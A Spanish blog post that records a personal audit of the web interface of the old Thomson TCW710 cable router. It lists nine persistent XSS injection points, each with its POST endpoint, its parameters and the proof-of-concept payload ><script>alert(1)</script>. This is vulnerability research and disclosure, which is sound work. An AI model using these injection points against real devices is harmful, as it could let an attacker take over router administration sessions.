- lun 19 febrero 2018
- ofensiva
- #auditar router xss
Este route SOHO era el que te instalaban cuando estaba ONO allà por el 2007. Es un router ya antiguo, sin un uso a nivel de empresas, pero sigue vendiendose en webs de segundamano, no sé si como objeto ya de colección antiguo. Como uno de tantos apartaos que tengo por casa a este se me ocurrio realizarlee una pequeña auditoria a su interfa web.
Info del dispositivo
- Marca: Thomson
- Modelo: TCW710
- Hardware version: 5.0
- Software version: ST5D.10.05
Resumen
Al ser un modelo antiguo encontré que todos los campos donde se podia introducir texto se podía realizar un xss injection que en este caso son persistentes.
Artefactos encontrados
XSS Persistente 1
El primer XSS persistente lo encontramos en la siguiente petición:
- URL: /goform/wlanPrimaryNetwork
- Tipo: POST
Parametro | Tipo | Valor | Inyectable | Payload |
---|---|---|---|---|
ServiceSetIdentifier | String | Sí | ><script>alert(1)</script> |
|
ClosedNetwork | bool | 0 | No | |
WpaPskAuth | bool | 1 | No | |
Wpa2PskAuth | bool | 1 | No | |
WpaEncryption | integer | 3 | No | |
WpaPreSharedKey | String | 123456789qwerty | ? | |
WpaReKeyInterval | integer | 0 | No | |
GenerateWepKey | bool | 0 | No | |
WepKeysGenerated | bool | 0 | No | |
commitwlanPrimaryNetwork | bool | 1 | No |
XSS Persistente 2 y 3
El segundo y tercero XSS persistente lo encontramos en la siguiente petición:
- URL: /goform/RGFirewallEL
- Tipo: POST
Parametro | Tipo | Valor | Inyectable | Payload |
---|---|---|---|---|
EmailAddress | String | aaaa | Yes | ><script>alert(1)</script> |
SmtpServerName | String | aaaa | Yes | ><script>alert(1)</script> |
LogAction | bool | 0 | No |
XSS Persistente 4, 5 y 6
El cuarto, quito y sexto XSS persistente lo encontramos en la siguiente petición:
- URL: /goform/RgTime
- Tipo: POST
Parametro | Tipo | Valor | Inyectable | Payload |
---|---|---|---|---|
TimeSntpDisable | Integer | 2 | No | |
TimeServer1 | String | aaaa | Yes | ><script>alert(1)</script> |
TimeServer2 | String | aaaa | Yes | ><script>alert(1)</script> |
TimeServer3 | String | aaaa | Yes | ><script>alert(1)</script> |
TimeZoneOfsetHrs | Integer | 0 | No | |
TimeZoneOfsetMins | Integer | 0 | No | |
ResetSntpDefaults | bool | 0 | No |
XSS Persistente 7
El septimo XSS persistente lo encontramos en la siguiente petición:
- URL: /goform/RgDdns
- Tipo: POST
Parametro | Tipo | Valor | Inyectable | Payload |
---|---|---|---|---|
DdnsService | bool | 0 | No | |
DdnsUserName | String | aaaa | No | |
DdnsPassword | String | aaaa | No | |
DdnsHostName | String | aaaa | Yes | ><script>alert(1)</script> |
XSS Persistente 8
El octavo XSS persistente lo encontramos en la siguiente petición:
- URL: /goform/RgDhcp
- Tipo: POST
Parametro | Tipo | Valor | Inyectable | Payload |
---|---|---|---|---|
WanConnectionType | Integer | 2 | No | |
PppUserName | String | aaaa | Yes | ><script>alert(1)</script> |
PppPassword | String | aaaa | No | |
Mtu | Integer | 0 | No | |
PptpL2tpServer | String | aaaa | No | |
SpoofedMacAddressMA0 | String | 00 | No | |
SpoofedMacAddressMA1 | String | 00 | No | |
SpoofedMacAddressMA2 | String | 00 | No | |
SpoofedMacAddressMA3 | String | 00 | No | |
SpoofedMacAddressMA4 | String | 00 | No | |
SpoofedMacAddressMA5 | String | 00 | No |
XSS Persistente 9
El noveno XSS persistente lo encontramos en la siguiente petición:
- URL: /goform/RgUrlBlock.asp
- Tipo: POST
Parametro | Tipo | Valor | Inyectable | Payload |
---|---|---|---|---|
BasicParentalNewKeyword | String | aaaa | Yes | ><script>alert(1)</script> |
BasicPaentalKeywordAction | Integer | 1 | No | |
BasicParentalNewdomain | String | aaaa | No | |
BasicParetalDomainAction | Integer | 0 | No |